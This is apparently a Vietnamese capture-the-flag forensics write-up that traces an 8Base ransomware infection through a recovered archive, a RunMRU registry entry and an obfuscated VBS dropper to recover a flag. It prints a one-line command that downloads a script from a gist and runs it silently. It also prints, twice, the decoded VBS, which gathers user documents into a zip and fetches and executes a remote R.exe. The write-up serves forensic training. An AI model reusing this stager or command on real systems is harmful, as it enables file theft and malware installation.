Đề bài

Phân tích
Đầu tiên mình vẫn sẽ tìm kiếm trong mục file vì đây là điều mình hay làm và thấy một tối hậu thư như sau

Vậy là máy này đã dính Ransomware, cùng tiếp tục truy vết xem sao
Theo thông tin mình tìm được từ ChatGPT thì đây là dạng Ransomware 8Base, 8Base thường thêm email đó vào tên file và thả 2 ghi chú info.txt / info.hta. Nhiều nguồn đã ghi nhận IOC này, ví dụ “id[<ID>].[support@rexsdata.pro].8base” và đuôi .8base
Mình cũng thấy một file đuôi .8base như sau

Export ra và decrypt thử do đã có một đội an ninh Nhật Bản đã có tool giải mã rồi

Nhận được CEO-Design-Secrets.7z, giải nén tiếp
$ 7z x CEO-Design-Secrets.7z
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=en_US.UTF-8 Threads:8 OPEN_MAX:10240, ASM
Scanning the drive for archives:
1 file, 3264 bytes (4 KiB)
Extracting archive: CEO-Design-Secrets.7z
--
Path = CEO-Design-Secrets.7z
Type = 7z
Physical Size = 3264
Headers Size = 130
Method = LZMA2:12
Solid = -
Blocks = 1
Everything is Ok
Size: 3892
Compressed: 3264
Nhận được 3rd_Flag.png chứa:8a393119cc3ff}

Tiếp theo mình export NTUSER.DAT để xem có thông tin gì không

Tìm trong hive RunMRU thấy một đoạn PowerShell sau

Đoạn mã như sau
cmd /c "cd /d %temp% && curl -sLo ~t.vbs https://gist.githubusercontent.com/RandomAcesss/daa5312c1ec9f44e9874775ce29103e6/raw/97c44d5b1ed85a0bdbcf4f61d19d5fba98f12bb6/Verify.vbs && wscript //B ~t.vbs && echo YmFzZS0zMgpJWldHQ1oyWlBNM1RHTkE9"\1
Thấy một đoạn mã hóa, cho lên CyberChef xem sao

Ra được đoạn mã Base32

Ra được mảnh đầu là: FlagY{734
Bây giờ mình sẽ truy cập vào link github mà lệnh kia gọi đến xem sao

Ra một đoạn mã Obfuscate khá nặng
Giải mã xem sao
import sys, re
def replace_clng_hex(s: str) -> str:
pattern = re.compile(r'CLng\(\s*"(?:&|&)?H([0-9A-Fa-f]+)"\s*\)', re.IGNORECASE)
return pattern.sub(lambda m: str(int(m.group(1), 16)), s)
def find_balanced(text: str, start_keyword: str) -> str:
i = text.lower().find(start_keyword.lower())
if i == -1:
return text
i = i + len(start_keyword)
depth = 1
j = i
while j < len(text):
c = text[j]
if c == '(':
depth += 1
elif c == ')':
depth -= 1
if depth == 0:
return text[i:j]
j += 1
return text
def extract_chr_args(expr: str):
out = []
i = 0
low = expr.lower()
while True:
k_chr = low.find('chr(', i)
k_chrw = low.find('chrw(', i)
if k_chr == -1 and k_chrw == -1:
break
if k_chr == -1 or (k_chrw != -1 and k_chrw < k_chr):
k = k_chrw
offset = 5
else:
k = k_chr
offset = 4
j = k + offset
depth = 1
while j < len(expr):
if expr[j] == '(':
depth += 1
elif expr[j] == ')':
depth -= 1
if depth == 0:
out.append(expr[k+offset:j])
i = j + 1
break
j += 1
else:
break
return out
def safe_eval_arith(s: str) -> int:
if not re.fullmatch(r'[0-9\+\-\*\/\.\(\)\s]+', s):
raise ValueError(f'Illegal tokens in expression: {s!r}')
val = eval(s, {"__builtins__": None}, {})
return int(round(val))
def main():
data = sys.stdin.read()
inner = find_balanced(data, 'Execute(')
inner = replace_clng_hex(inner)
args = extract_chr_args(inner)
if not args:
inner = replace_clng_hex(data)
args = extract_chr_args(inner)
chars = []
for a in args:
a = a.strip()
try:
v = safe_eval_arith(a)
except Exception as e:
v = safe_eval_arith(re.sub(r'\s+', '', a))
if v < 0:
v = v % 256
try:
chars.append(chr(v))
except ValueError:
chars.append(chr(v % 65536))
sys.stdout.write(''.join(chars))
if __name__ == "__main__":
main()
Mình cũng sẽ tải luôn file Verify.vbs về
$ wget https://gist.githubusercontent.com/RandomAcesss/daa5312c1ec9f44e9874775ce29103e6/raw/97c44d5b1ed85a0bdbcf4f61d19d5fba98f12bb6/Verify.vbs
Sau đó sẽ run để decode ra bản clean
$ python vbs_deob.py < Verify.vbs > decoded.txt
Sau đó mình sẽ có bản clean như sau
Option Explicit
On Error Resume Next
Const tempFolder = "C:\Windows\Temp\rhrhjbeh"
Const zipFile = "C:\Windows\Temp\z2rv09g.zip"
Const targetExtensions = "pdf,doc,docx,jpg,jpeg,png,zip,7z"
Const githubExeUrl = "https://github.com/RandomAcesss/LastStagger/blob/main/R.exe"
Const githubExePath = "C:\Windows\Temp\R.exe"
' 2nd_part: just_a_script_kiddie_
Dim fso, shell
Set fso = CreateObject("Scripting.FileSystemObject")
Set shell = CreateObject("WScript.Shell")
Main
Sub Main()
If Not fso.FolderExists(tempFolder) Then
fso.CreateFolder(tempFolder)
End If
SearchAndCopyFiles
CreateZipArchive
WScript.Sleep 600000
If fso.FolderExists(tempFolder) Then
fso.DeleteFolder tempFolder, True
End If
If fso.FileExists(zipFile) Then
fso.DeleteFile zipFile
End If
WScript.Sleep 1200000
DownloadAndExecuteGitHubFile
WScript.Quit 0
End Sub
Sub SearchAndCopyFiles()
Dim userProfile, foldersToSearch, folder, ext, extensions, file, files, destPath
Dim subFolder
userProfile = shell.ExpandEnvironmentStrings("%USERPROFILE%")
foldersToSearch = Array(userProfile & "\Desktop", _
userProfile & "\Downloads", _
userProfile & "\Documents", _
"C:\Windows\")
extensions = Split(targetExtensions, ",")
For Each folder In foldersToSearch
If fso.FolderExists(folder) Then
If folder = "C:\Windows\" Then
For Each subFolder In Array("C:\Windows\Temp", "C:\Windows\System32", "C:\Windows\Tasks")
If fso.FolderExists(subFolder) Then
For Each ext In extensions
Set files = fso.GetFolder(subFolder).Files
For Each file In files
If LCase(fso.GetExtensionName(file.Name)) = ext Then
destPath = tempFolder & "\" & fso.GetFileName(file.Name)
If Not fso.FileExists(destPath) Then
file.Copy(destPath)
Else
destPath = tempFolder & "\" & fso.GetBaseName(file.Name) & "_" & Hour(Now) & Minute(Now) & Second(Now) & "." & fso.GetExtensionName(file.Name)
file.Copy(destPath)
End If
End If
Next
Next
End If
Next
Else
For Each ext In extensions
Set files = fso.GetFolder(folder).Files
For Each file In files
If LCase(fso.GetExtensionName(file.Name)) = ext Then
destPath = tempFolder & "\" & fso.GetFileName(file.Name)
If Not fso.FileExists(destPath) Then
file.Copy(destPath)
Else
destPath = tempFolder & "\" & fso.GetBaseName(file.Name) & "_" & Hour(Now) & Minute(Now) & Second(Now) & "." & fso.GetExtensionName(file.Name)
file.Copy(destPath)
End If
End If
Next
Next
End If
End If
Next
End Sub
Sub CreateZipArchive()
Dim zipCommand
zipCommand = "powershell -nologo -noprofile -command ""Compress-Archive -Path '" & tempFolder & "\*' -DestinationPath '" & zipFile & "' -Force"""
shell.Run zipCommand, 0, True
End Sub
Sub DownloadAndExecuteGitHubFile()
Dim http, stream, url
Set http = CreateObject("MSXML2.XMLHTTP")
url = githubExeUrl
url = Replace(url, "github.com", "raw.githubusercontent.com")
url = Replace(url, "/blob/", "/")
On Error Resume Next
http.Open "GET", url, False
http.Send
If http.Status = 200 Then
Set stream = CreateObject("ADODB.Stream")
stream.Open
stream.Type = 1
stream.Write http.ResponseBody
stream.SaveToFile githubExePath, 2
If fso.FileExists(githubExePath) Then
shell.Run """" & githubExePath & """", 1, False
End If
Else
With fso.CreateTextFile("C:\Windows\Temp\download_error.log", True)
.WriteLine("Failed to download file from GitHub. Status: " & http.Status & " at " & Now())
.Close
End With
End If
On Error GoTo 0
End Sub
Vậy là mình sẽ có nốt mảnh ở giữa là: just_a_script_kiddie_
Nhưng khi nộp lại không đúng, nên lúc đó mình đã nghĩ chắc file vbs đã bị chỉnh sửa nên mình đã vào check commit của repo và thấy đúng là đã bị chỉnh sửa

Sau đó mình đã lưu bản mới về để decrypt lại
Lúc này file sẽ là như sau
Option Explicit
On Error Resume Next
Const tempFolder = "C:\Windows\Temp\rhrhjbeh"
Const zipFile = "C:\Windows\Temp\z2rv09g.zip"
Const targetExtensions = "pdf,doc,docx,jpg,jpeg,png,zip,7z"
Const githubExeUrl = "https://github.com/RandomAcesss/LastStagger/blob/main/R.exe"
Const githubExePath = "C:\Windows\Temp\R.exe"
' 2nd_part_of_the_flag: d33300da3cbcdbf6
Dim fso, shell
Set fso = CreateObject("Scripting.FileSystemObject")
Set shell = CreateObject("WScript.Shell")
Main
Sub Main()
If Not fso.FolderExists(tempFolder) Then
fso.CreateFolder(tempFolder)
End If
SearchAndCopyFiles
CreateZipArchive
WScript.Sleep 600000
If fso.FolderExists(tempFolder) Then
fso.DeleteFolder tempFolder, True
End If
If fso.FileExists(zipFile) Then
fso.DeleteFile zipFile
End If
WScript.Sleep 1200000
DownloadAndExecuteGitHubFile
WScript.Quit 0
End Sub
Sub SearchAndCopyFiles()
Dim userProfile, foldersToSearch, folder, ext, extensions, file, files, destPath
Dim subFolder
userProfile = shell.ExpandEnvironmentStrings("%USERPROFILE%")
foldersToSearch = Array(userProfile & "\Desktop", _
userProfile & "\Downloads", _
userProfile & "\Documents", _
"C:\Windows\")
extensions = Split(targetExtensions, ",")
For Each folder In foldersToSearch
If fso.FolderExists(folder) Then
If folder = "C:\Windows\" Then
For Each subFolder In Array("C:\Windows\Temp", "C:\Windows\System32", "C:\Windows\Tasks")
If fso.FolderExists(subFolder) Then
For Each ext In extensions
Set files = fso.GetFolder(subFolder).Files
For Each file In files
If LCase(fso.GetExtensionName(file.Name)) = ext Then
destPath = tempFolder & "\" & fso.GetFileName(file.Name)
If Not fso.FileExists(destPath) Then
file.Copy(destPath)
Else
destPath = tempFolder & "\" & fso.GetBaseName(file.Name) & "_" & Hour(Now) & Minute(Now) & Second(Now) & "." & fso.GetExtensionName(file.Name)
file.Copy(destPath)
End If
End If
Next
Next
End If
Next
Else
For Each ext In extensions
Set files = fso.GetFolder(folder).Files
For Each file In files
If LCase(fso.GetExtensionName(file.Name)) = ext Then
destPath = tempFolder & "\" & fso.GetFileName(file.Name)
If Not fso.FileExists(destPath) Then
file.Copy(destPath)
Else
destPath = tempFolder & "\" & fso.GetBaseName(file.Name) & "_" & Hour(Now) & Minute(Now) & Second(Now) & "." & fso.GetExtensionName(file.Name)
file.Copy(destPath)
End If
End If
Next
Next
End If
End If
Next
End Sub
Sub CreateZipArchive()
Dim zipCommand
zipCommand = "powershell -nologo -noprofile -command ""Compress-Archive -Path '" & tempFolder & "\*' -DestinationPath '" & zipFile & "' -Force"""
shell.Run zipCommand, 0, True
End Sub
Sub DownloadAndExecuteGitHubFile()
Dim http, stream, url
Set http = CreateObject("MSXML2.XMLHTTP")
url = githubExeUrl
url = Replace(url, "github.com", "raw.githubusercontent.com")
url = Replace(url, "/blob/", "/")
On Error Resume Next
http.Open "GET", url, False
http.Send
If http.Status = 200 Then
Set stream = CreateObject("ADODB.Stream")
stream.Open
stream.Type = 1
stream.Write http.ResponseBody
stream.SaveToFile githubExePath, 2
If fso.FileExists(githubExePath) Then
shell.Run """" & githubExePath & """", 1, False
End If
Else
With fso.CreateTextFile("C:\Windows\Temp\download_error.log", True)
.WriteLine("Failed to download file from GitHub. Status: " & http.Status & " at " & Now())
.Close
End With
End If
On Error GoTo 0
End Sub
Vậy mảnh ở giữa là: d33300da3cbcdbf6
Flag
Flag: FlagY{734d33300da3cbcdbf68a393119cc3ff}
'WriteUp > Forensics' 카테고리의 다른 글
| [Forensics] Quack - Dreamhack (0) | 2025.10.20 |
|---|---|
| [Forensics] Nimbus - POC CTF 2025 (0) | 2025.10.20 |
| [Forensics] Case AlphaS - CSCV 2025 (2) | 2025.10.19 |
| [Forensics] NostalgiaS - CSCV 2025 (0) | 2025.10.19 |
| [Forensics] DNS Exfil - CSCV 2025 (0) | 2025.10.19 |
